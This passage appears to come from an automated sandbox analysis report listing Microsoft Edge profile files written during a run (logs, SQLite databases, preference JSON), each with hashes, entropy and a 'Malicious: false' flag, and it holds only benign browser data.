Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\46306492-faba-4a00-b7f4-c568ac7efcf4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\SCT Auditing Pending Reports~RF393c5.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\Trust Tokens

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 9, cookie 0x7, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	0.3886039372934488
Encrypted:	false
SSDEEP:	24:TLqEeWOT/kIAoDJ84l5lDlnDMlRlyKDtM6UwccWfp15fBIe:T2EeWOT/nDtX5nDOvyKDhU1cSB
MD5:	DEA619BA33775B1BAEEC7B32110CB3BD
SHA1:	949B8246021D004B2E772742D34B2FC8863E1AAA
SHA-256:	3669D76771207A121594B439280A67E3A6B1CBAE8CE67A42C8312D33BA18854B
SHA-512:	7B9741E0339B30D73FACD4670A9898147BE62B8F063A59736AFDDC83D3F03B61349828F2AE88F682D42C177AE37E18349FD41654AEBA50DDF10CD6DC70FA5879
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...}.....$.X..............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\a324d885-1af8-4c9e-a7a8-5948387dfaac.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.1504775202734345
Encrypted:	false
SSDEEP:	12:6HQIv4YebvqBZFUt8vHmtFZ/+vHTh5LYebvqBaJ:Gt4Yebvyg8vm3AfLYebvL
MD5:	ED3088C03199F79D34569AAEDC23A5D1
SHA1:	024C2BF83B53DA482FE4CE7E8AAF52561D2B0104
SHA-256:	34291C8B6D837FD874B07EDCE003E3EEA45D1DF7F7C68FC7A5C38EF6E831AE80
SHA-512:	C306498615320BFDEEB337F98EBEFE6812CC8F52CB343491920CBD21D7020523CD74605BC106145AA80B6B389F04F4FD0613AED480A99B223D89387306CEC250
Malicious:	false
Preview:	2024/10/30-22:04:40.250 1cd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/30-22:04:40.252 1cd0 Recovering log #3.2024/10/30-22:04:40.255 1cd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	422
Entropy (8bit):	5.1504775202734345
Encrypted:	false
SSDEEP:	12:6HQIv4YebvqBZFUt8vHmtFZ/+vHTh5LYebvqBaJ:Gt4Yebvyg8vm3AfLYebvL
MD5:	ED3088C03199F79D34569AAEDC23A5D1
SHA1:	024C2BF83B53DA482FE4CE7E8AAF52561D2B0104
SHA-256:	34291C8B6D837FD874B07EDCE003E3EEA45D1DF7F7C68FC7A5C38EF6E831AE80
SHA-512:	C306498615320BFDEEB337F98EBEFE6812CC8F52CB343491920CBD21D7020523CD74605BC106145AA80B6B389F04F4FD0613AED480A99B223D89387306CEC250
Malicious:	false
Preview:	2024/10/30-22:04:40.250 1cd0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/MANIFEST-000001.2024/10/30-22:04:40.252 1cd0 Recovering log #3.2024/10/30-22:04:40.255 1cd0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.167818322679576
Encrypted:	false
SSDEEP:	6:6HNjIq2P923oH+TcwtpIFUt8vHNjZZmw+vHNjzkwO923oH+Tcwta/WLJ:6Hqv4YebmFUt8vHj/+vH55LYebaUJ
MD5:	5B4F39C96651978C533FC42A7DE537E4
SHA1:	673450F5CE453738A83E4FF8EE45CB85112AE88C
SHA-256:	877C5B1B43D12AAEBC19E055956824B146E806104C758EC0953F67F70A5D3747
SHA-512:	F8947C7435DBA8F84F4F211EAAED4623D9B99E532F6120C9524B26766F779230ACF044D00DCC8CE53A23F198F4A5FB60E36BBC1900542F392C9DF3F3A4BD72E2
Malicious:	false
Preview:	2024/10/30-22:04:20.456 1774 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/30-22:04:20.456 1774 Recovering log #3.2024/10/30-22:04:20.456 1774 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.167818322679576
Encrypted:	false
SSDEEP:	6:6HNjIq2P923oH+TcwtpIFUt8vHNjZZmw+vHNjzkwO923oH+Tcwta/WLJ:6Hqv4YebmFUt8vHj/+vH55LYebaUJ
MD5:	5B4F39C96651978C533FC42A7DE537E4
SHA1:	673450F5CE453738A83E4FF8EE45CB85112AE88C
SHA-256:	877C5B1B43D12AAEBC19E055956824B146E806104C758EC0953F67F70A5D3747
SHA-512:	F8947C7435DBA8F84F4F211EAAED4623D9B99E532F6120C9524B26766F779230ACF044D00DCC8CE53A23F198F4A5FB60E36BBC1900542F392C9DF3F3A4BD72E2
Malicious:	false
Preview:	2024/10/30-22:04:20.456 1774 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/10/30-22:04:20.456 1774 Recovering log #3.2024/10/30-22:04:20.456 1774 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2648473502533466
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMASAELyKOMq+8yC8F/YfU5m+OlTLVum0:Bq+n0JA9ELyKOMq+8y9/OwX
MD5:	4CB4C84598073AA972A8593DDD929F43
SHA1:	6CBF2DC758D112518D2FEEA44A670F0F2EF1E1A6
SHA-256:	BEA54E8B57C843082843C1F63AB0EC7BB65DD68D7582A188F17C5FAF0FBE60BD
SHA-512:	CF70C67FFA096CE3F252157F62FFF7BE83686F7700DE53B49C9D8E7233C0EA9ED24394E7BC00EC75373C4B86E6462B6F9BA2BA3D6992D8C6243574B2DBE57457
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.46609476552269474
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB0qWU:v7doKsKuKZKlZNmu46yjx0g
MD5:	FDFC33257E5FA06B615FBFE2B6345D21
SHA1:	545DFC677036066DF9A31B8E328339BC86C1D2DA
SHA-256:	9B282EDE5B12CE42E1CA6A2DE9A833504F8E441427AAA4B19A88ED25687C3347
SHA-512:	DD975B2E4FCABD57E84D2DE198F75FDF5154AE6F515A76C7D0281C1B078B3FD3820F94827A654618E03DBDDDCA5A3EBE08A42E1F4440D166AA0932A5495F6097
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\b0419133-40d0-4b97-ab4f-28b9a0dd475c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c0a62425-94a7-407c-9e5a-c02d9acdc9fc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d2f5634d-4881-4147-ae1f-eedfeef301fc.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.560949630622038
Encrypted:	false
SSDEEP:	768:+Xf++77pLGLpg2WPMyf4E8F1+UoAYDCx9Tuqh0VfUC9xbog/OVufHIj3krw4Ygl5:+Xf++Ncpg2WPMyf4Eu1ja/fHU394Ygks
MD5:	8BAF3C1506EF65F8D66A6011F870391F
SHA1:	F56F0FF13447BE8C55E8E3EE8CF2000380CBE34D
SHA-256:	FF161E0658F7BA4FDBA5AD2D43F455C1301728D5127D36468856CF8758A56C71
SHA-512:	A75328FAF2BCCDB683BAA887CAA08BCB8F706FC7CDF028F049918EA0B6B95D196307CC1101C1931981DE7C3FB937D6A846636C82BA032980DA00554FFFA045DC
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374813860305627","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374813860305627","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d3de52c8-f338-4426-9977-7d5953a50d54.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (17370), with no line terminators
Category:	dropped
Size (bytes):	17374
Entropy (8bit):	5.477604068012135
Encrypted:	false
SSDEEP:	384:stHPGQSu41spUfhNGI7PWkZbGeQwy6WHlaTYb:sROXuXUfVZbGtJxaTYb
MD5:	F2C1DBDC9C05E41D831ADEFB2F7AF5B1
SHA1:	3916B73135F479273FCE3F23D8C2911E105AB59A
SHA-256:	CE92C003B2F0CF33279867D5D146A2CDD335A7AF277E33AD04E963BA665E0E0A
SHA-512:	4DDD883282DDCD984E62D8B9EE08F9422AA557C471622739D7A36F09A75CD7E422C3C697B1584306972C22A6FCEDC0399E2651F5BD40A11723973D66038C4C10
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374813861452927","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\d6c1477e-1929-4f94-a516-8f918932a75c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	12489
Entropy (8bit):	5.204064858040242
Encrypted:	false
SSDEEP:	192:stHJ99QTryDigabatSuyp1spUsZihUkkFh8dbV+FiXQA66W4aFIMYUPpYJ:stHPGKSu41spUfhjbGeQx6W4aTYb
MD5:	4FBF3065ECDA30975FC18D839C5DF865
SHA1:	66658C6F15FBD0216B0468866E148436030A021A
SHA-256:	5B7507120A737C01A542F4E2528E8392E97D09B5154D4458819DE90168F4A9F5
SHA-512:	CA4AB91E38A25FD547340AE55F926B525317A29FC06E27E6BB0EE648E95F9A564D952B805E8AF371A48702A223DAE3366FB1CAEC69D432390A9EA971F0A027E8
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374813861452927","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.10566969773903227
Encrypted:	false
SSDEEP:	12:JntjntOpEjVl/PnnnnnnnnnnnnvoQtEoxu:Jntjnt+oPnnnnnnnnnnnnvHj
MD5:	F3335A2136B3A67ECDA49F2FDE97D240
SHA1:	232A205D4A1E64467B7A8FE27FF3952E9284DE7F
SHA-256:	801B22E5666B63584F2D12C98720DEE6580A969EC21C8365912075FB063469B1
SHA-512:	FC398DA9B34195B0381C7590044C2FCDC5A874DE6DC7BF940B0E02577B6E041E0AC5A4D76462CD4016C02818B29F7091258EDD29C271F4CB6CEC30B6B1DCC299
Malicious:	false
Preview:	..-.............Q.........0.....4..}...P.fo_....-.............Q.........0.....4..}...P.fo_..........M...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	333752
Entropy (8bit):	0.9357103981569793
Encrypted:	false
SSDEEP:	384:G2+GQE+OlhReEadIReLpA4cRe7SZ+ryZyRbyEyQXyrxywW:1pleEDeLWe2zm
MD5:	8DBE55C16BC3D54FA1F4FBCCC7F688DE
SHA1:	341AAAA376341FCC1D619BC26857382F5F9F70EA
SHA-256:	A8F77D8C8DC6EFB8CBD1B5C126B3F4F790F5B57F6064E0BF2BD637EC9A9739D4
SHA-512:	F6398843E69694FD9C8997F9E959A83B50D18D45BF700C4AB1FEF0AB0E704ACB977AE5277D86977DC00E611A22B93E3AA9D94A250076ECC1F95B37FD32885718
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	628
Entropy (8bit):	3.2259392954072466
Encrypted:	false
SSDEEP:	6:/XntM+iTl3sedhOKOuuuuuuuuuuuuuuuuuuuuuuuRJBsedhOw:Wlc8NOuuuuuuuuuuuuuuuuuuuuuuum8F
MD5:	DA95F13D86B0ADA7C2CEBE7451B4FFA4
SHA1:	C4B288E4F24098FF8C8E7C12D3B364983692F092
SHA-256:	EFF3C6FBDC7708C14EEDD2836FE0CCDD02FA271F239E895AEF0577EA01D6CCF0
SHA-512:	30D35CDF2975C0B42C9D98E36952CA99B093F573C60EA5E1BE7C429E6DC0DE81B2A3704CF4798BB539E8C02C592B07112956177BE5154899C9DF2256B692C06B
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............9...0................39_config..........6.....n ...1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	321
Entropy (8bit):	5.1723070304593834
Encrypted:	false
SSDEEP:	6:6HeQUVnB3+q2P923oH+TcwtfrK+IFUt8vHeQUC7Zmw+vHeQURRVkwO923oH+Tcwf:6HeQUDOv4Yeb23FUt8vHeQUC7/+vHeQY
MD5:	7262DB362B881B285CE44235101F0C6F
SHA1:	A10D46C7D5ACB2FCE483FD66C30DB893E75830F6
SHA-256:	673E9A51D18E197CDC2E28BB046370F44E30B2F3276926F4DF2D9BE562F1DFC4
